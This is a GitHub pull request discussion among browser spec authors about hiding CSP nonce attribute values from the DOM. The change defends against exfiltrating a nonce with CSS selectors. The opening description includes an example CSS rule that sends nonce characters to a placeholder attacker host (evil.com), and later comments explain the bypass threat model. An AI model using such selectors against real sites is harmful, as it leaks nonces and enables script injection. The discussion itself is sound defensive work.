Hide nonce content attribute values. (#2369)

[mikewest]

We've seen some recent attacks on CSP which rely on the ability to
exfiltrate nonce data via various mechanisms that can grab data from
content attributes. CSS selectors are the best example: through clever
use of prefix/postfix text matching selectors values can be sent out
to an attacker's server for reuse (e.g.
script[nonce=a] { background: url("https://evil.com/nonce?a");}).

This patch makes some changes to mitigate this risk by hiding the nonce
value from relevant element's content attributes:

1. When parsing an element with a nonce attribute, the content
   attribute's value is copied into an internal slot on the element, and
   overwritten with the empty string.

2. The nonce IDL attribute's getter returns the value of the internal
   slot, and its setter updates the internal slot's value.

3. The internal slot's value is used to populate the cryptographic
   nonce metadata used by Fetch when making requests.

WIP: This patch doesn't actually do the above yet. It only adjusts
the element in the hopes of sparking conversation about how this
feature should actually work. Does it look reasonable? Should we
replicate the steps for each element type that has a nonce, or move it
up the chain to something like Node?

---

Issue: #2369

[annevk]

Would a cleaner model not make this solely a parser change (parser sets the internal slot, doesn't append a content attribute) and then not have any other processing model observe or modify the nonce content attribute?

[mikewest]

We could certainly do it that way. That said, I think @arturjanc, et al are currently propagating the nonce value in a backwards-compatible way via code like the following, which would break if the content attribute wasn't present (e.g. the <script> was inserted via 'strict-dynamic''s automatic nonce propagation):

var nonce = document.querySelector('script[nonce]').nonce ||
            document.querySelector('script[nonce]').getAttribute('nonce');

I suppose they could instead grab the nonce by walking through all the <script> elements, checking each for a nonce value? That seems convoluted, but maybe putting the burden on the developer in that way is the right thing to do.

[zcorpan]

If we go with the model that there should be a content attribute when [[Cryptographic Nonce]] is non-empty, the setter should set/remove the content attribute here.

[mikewest]

That seems strange too. Basically, we've decoupled the IDL and content attributes in this patch (e.g. whatever.setAttribute('nonce', 'whatever') pokes at the content attribute's value, but doesn't change the internal slot, and vice-versa with whatever.nonce = 'whatever'). That seems more defensible than linking the two in some cases but not in others.

All that said, I agree that this is a weird model. Perhaps @arturjanc or @mikispag have opinions about how they might use any of these options in Google's libraries?

[mikewest]

I've updated this patch after thinking about things a little bit more, and I'll put together some tests today in hopes of explaining how I think things would work.

[mikewest]

Thoughts?

I'd like to ship something to close this hole in the relatively near future. I think this approach feels pretty reasonable, seems like a good balance between developer ergonomics and security, and folks on @arturjanc's team at Google are ~confident in their experiments on top of Chrome's experimental implementation.

/ccing the list of folks from the related issue @arturjanc, @mikispag, @lweichselbaum, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @devd, @johnwilander, and @teddink in the hopes of soliciting more opinions.

[annevk]

Do you have mutation observer tests for this behavior? This is a little different from the parser modifying the value directly.

[annevk]

Also, is the nonce likely shared across elements? If so, we should maybe hide it for all elements including those that do not yet implement NoncedHTMLElement. Otherwise each time we add it to a new element you might end up having it accidentally exposed in user agents that do not implement that new nonce feature yet.

[annevk]

In which case it should maybe be part of DOM's "superglobal" (not named as such) attributes.

[mikewest]

Do you have mutation observer tests for this behavior?

Nope, but I can add some to web-platform-tests/wpt#5423.

Also, is the nonce likely shared across elements? If so, we should maybe hide it for all elements including those that do not yet implement NoncedHTMLElement. Otherwise each time we add it to a new element you might end up having it accidentally exposed in user agents that do not implement that new nonce feature yet.

I'm happy to do it that way, it's probably more future-proof. Also, I'm told that Firefox actually implements nonces for more resource types than we've actually specced, so doing it at a higher level is probably helpful for them in the short term.

In that case, would you suggest dropping NoncedHTMLElement, and putting the behavior on HTMLElement directly?

[annevk]

Yeah, though if you also want to add it to SVG (for <svg:script> and friends) we should maybe just put it on Element.

(I didn't realize the observable mutation of the nonce content attribute was intentional. I guess it doesn't matter much as we also expose it through the nonce IDL attribute.)

[mikewest]

Yeah, though if you also want to add it to SVG (for svg:script and friends) we should maybe just put it on Element.

I do indeed want to apply the same change to SVGScriptElement. Element sounds like the simplest way to do that.

(I didn't realize the observable mutation of the nonce content attribute was intentional. I guess it doesn't matter much as we also expose it through the nonce IDL attribute.)

It's "intentional" only insofar as it seems a necessary side-effect of tying the adjustment to insertion. I suppose we could avoid it by hooking more deeply into the mechanics of setting the attribute's value via something like setAttribute, but it doesn't seem like a good idea to introduce that kind of complexity.

Since we're really only concerned about hiding the value from non-script sources, that seems like a reasonable tradeoff.

[zcorpan]

So an implication here is that nonces will not appear anywhere other than in nonce="" attributes, correct? Not in srcset="foo 2x nonce(...)", not in CSS url("foo", nonce "..."), and so on?

[mikewest]

@zcorpan: The approach here only applies to nonce attributes in markup. If someone does the work to expose fetch attributes to other kinds of syntax, then we'd probably want to talk about the way that data is exposed to side-channels.

[foolip]

Do you have a PR for SVG as well? Blink's SVGScriptElement.idl points to https://w3c.github.io/webappsec/specs/content-security-policy/#script-src-the-nonce-attribute, but that now redirects to a spec that doesn't define anything for SVG. https://svgwg.org/svg2-draft/single-page.html also doesn't do it.

[domenic]

To make sure I'm following, most of this patch is disappearing in favor of whatwg/dom#436, right? With the main things remaining being the deletion of nonce from link/style/script.

[bzbarsky]

Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML.

Have we considered the interaction with pages doing innerHTML += stuff? Seems like that would make nonce'd stylesheets disappear...

I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject <style> elements and sites can't use CSP to forbid those because there is no way to do so without forbidding style attributes too? Maybe CSP should be able to forbid one without the other, since they have different attack profiles. You can't exfiltrate attribute values via style attributes, for example...

[mikewest]

Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML.

Yes, for <template> if for no other reason. I believe that's already covered in this patch via the "cloning steps" bit on line 6888 (as well as in the DOM variant that it sounds like you want us to drop (and I can live with that)).

Have we considered the interaction with pages doing innerHTML += stuff? Seems like that would make nonce'd stylesheets disappear...

That's a good point. FWIW, I can live with breaking this, given the intersection of developers likely to use CSP nonces and developers likely to innerHTML += their document, but I'm open to alternatives.

I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject <style> elements and sites can't use CSP to forbid those because there is no way to do so without forbidding style attributes too? Maybe CSP should be able to forbid one without the other, since they have different attack profiles. You can't exfiltrate attribute values via style attributes, for example...

@arturjanc can probably give you more context than you prefer to have on this topic. His claim is both that dealing with style at scale is hard (with Google-specific anecdata to back that up), and that style-src shouldn't be necessary to have a reasonable guarantee of protection via script-src. Ensuring that the nonce is exposed only to script goes some way towards providing that baseline.

That said, I agree with you that there are relevant distinctions between attribute values and inline style. Allowing distinct targeting of each category via CSP might alleviate some of the deployment pain that folks feel, but it's not at all clear to me that that's the core of the issues Artur's team has run into at Google.

[bzbarsky]

Another thing to consider here is editors. The fact that the DOM doesn't actually store the right state anymore makes writing editors a lot trickier...

In general, it seems to me that auto-disappearing attributes will lead to a long tail of things that break because no one expects that to happen, because it never happens right now....

Maybe the right answer is simply that any use of nonces in CSP should disable <style> that's not explicitly whitelisted via nonces (but NOT disable style attributes)? Not sure how much that would break in practice; it depends on how widely nonce is deployed...

[arturjanc]

I like the idea of being able to distinguish between style attributes and <style> elements in CSP because they differ significantly in their capabilities, i.e. the latter can use selectors, media queries, @import, etc and is much more powerful for an attacker. Something like style-src 'nonce-foo' 'unsafe-inline-attributes-only' could be a useful primitive.

I'm less excited about forcing developers to restrict styles just so they can prevent script execution if they use CSP with nonces, for the reasons mentioned by Mike. It's worth talking about, but I'd propose that it's
somewhat tangential to this change; it would require large modifications to existing applications which use CSP and would take a long time, whereas the fix discussed here wouldn't require such refactoring.

@bzbarsky The most readable explanation of the threat model is https://sirdarckcat.blogspot.ch/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html Essentially, an injection which can be triggered by an attacker without reloading the page (which happens frequently with DOM XSS) allows the attacker to exfiltrate a script nonce and then re-use the exfiltrated value to inject arbitrary scripts, even if the application has an otherwise safe CSP policy. The attacks mentioned in the post all rely on the fact that you can exfiltrate data from the DOM without the capability to execute scripts, most commonly by using CSS selectors. However, I don't think CSS is the only way to accomplish this, or at the very least it's not particularly future-proof -- there are features in other web formats such as SVG which can manipulate attributes of other DOM nodes (e.g. <set>) which, if the script nonce is accessible to the DOM, could have a similar effect. An attacker with a markup injection has a lot of attack surface to poke at to try and discover the nonce; preventing the nonce attribute from being accessible to the DOM seems like a fairly robust solution to such problems.

[arturjanc]

Maybe the right answer is simply that any use of nonces in CSP should disable <style> that's not explicitly whitelisted via nonces (but NOT disable style attributes)? Not sure how much that would break in practice; it depends on how widely nonce is deployed...

As one data point, it would likely break most of Google ;-) Many applications care about script injection but not style injection, so they set script-src but not style-src in CSP; consequently they do not add nonces to <style> and <link#rel=stylesheet> elements -- this is essentially what https://csp.withgoogle.com/docs/index.html recommends to developers.

[bzbarsky]

I'm sympathetic to the attack surface argument, but I still think the auto-disappearing behavior being proposed is going to cause problems for all sorts of tools by violating a very basic invariant of how the DOM works... It seems like we're working around a mistake in how we designed CSP's nonce interaction (a mistake that is hard to fix now due to existing deployments) by breaking the DOM's invariants in ways that will cause problems for everyone other than CSP. :(

[mikewest]

So. Where do we go from here? It sounds like we agree that the threat is a reasonable one to defend against, and it sounds like we agree that it would be hard to modify the existing behavior of script-src 'nonce-whatever' due to existing deployment.

Given that, I'm tempted to say that the strange behavior of the nonce attribute is a wart we can live with, especially if we limit it to the specific types of elements that have special behavior (as this patch does).

If that's unacceptable, then perhaps introducing a broader concept, similar to the sec- header prefix would be reasonable? nonce can continue to behave just like any other attribute, but __totally-hidden-and-secret__nonce would be magical? That seems even uglier, but would be less likely to crop up in ways that would break invariants that existing code relies upon?

[annevk]

Maybe we should explore restricting stylesheets independently from style attributes more?

But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what setAttribute() does here.

[zcorpan]

SELECT COUNT(*) AS num, REGEXP_EXTRACT(LOWER(body), r'<([a-z][a-z0-9-]*)(?:\s[^>]+)?\s+nonce\s*=') AS tag
FROM [httparchive:har.2017_03_15_chrome_requests_bodies]
GROUP BY tag
ORDER BY num DESC

Row	num	tag	 
1	17096802	null	 
2	6793	script	 
3	58	style	 
4	4	link	 
5	2	img

[mikewest]

Maybe we should explore restricting stylesheets independently from style attributes more?

I think this is probably worth doing, but orthogonal to the question here. That is, it doesn't sound like changing this behavior to more specifically target kinds of style would not make it easier for @arturjanc to teach the properties he's responsible for about style-src.

But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what setAttribute() does here.

This is probably confusing, as the initial proposal has shifted as we've gone. The current proposal in this PR is more narrowly scoped, and, as @annevk notes, doesn't affect setAttribute() but only the insertion steps. It seems targeted enough to be unlikely to cause issues in real sites, as @zcorpan's analysis also seems to show.